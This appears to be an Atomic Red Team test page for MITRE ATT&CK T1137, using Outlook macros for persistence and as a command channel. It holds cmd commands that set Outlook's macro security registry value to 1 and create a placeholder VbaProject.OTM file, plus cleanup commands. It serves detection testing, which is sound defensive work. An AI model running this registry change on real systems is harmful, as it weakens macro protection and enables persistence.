0xseiryuu
55 lines
2.0 KiB
Markdown
55 lines
2.0 KiB
Markdown
# T1137 - Office Application Startup
|
|
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1137)
|
|
<blockquote>
|
|
|
|
Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
|
|
|
|
A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
|
|
|
|
</blockquote>
|
|
|
|
## Atomic Tests
|
|
|
|
- [Atomic Test #1 - Office Application Startup - Outlook as a C2](#atomic-test-1---office-application-startup---outlook-as-a-c2)
|
|
|
|
|
|
<br/>
|
|
|
|
## Atomic Test #1 - Office Application Startup - Outlook as a C2
|
|
As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
|
|
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
|
|
Too achieve this two things must happened on the syste
|
|
- The macro security registry value must be set to '1'
|
|
- A file called VbaProject.OTM must be created in the Outlook Folder.
|
|
|
|
**Supported Platforms:** Windows
|
|
|
|
|
|
**auto_generated_guid:** bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#### Attack Commands: Run with `command_prompt`!
|
|
|
|
|
|
```cmd
|
|
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /t REG_DWORD /d 1 /f
|
|
mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1
|
|
echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
|
|
```
|
|
|
|
#### Cleanup Commands:
|
|
```cmd
|
|
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /f >nul 2>&1
|
|
del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
<br/>
|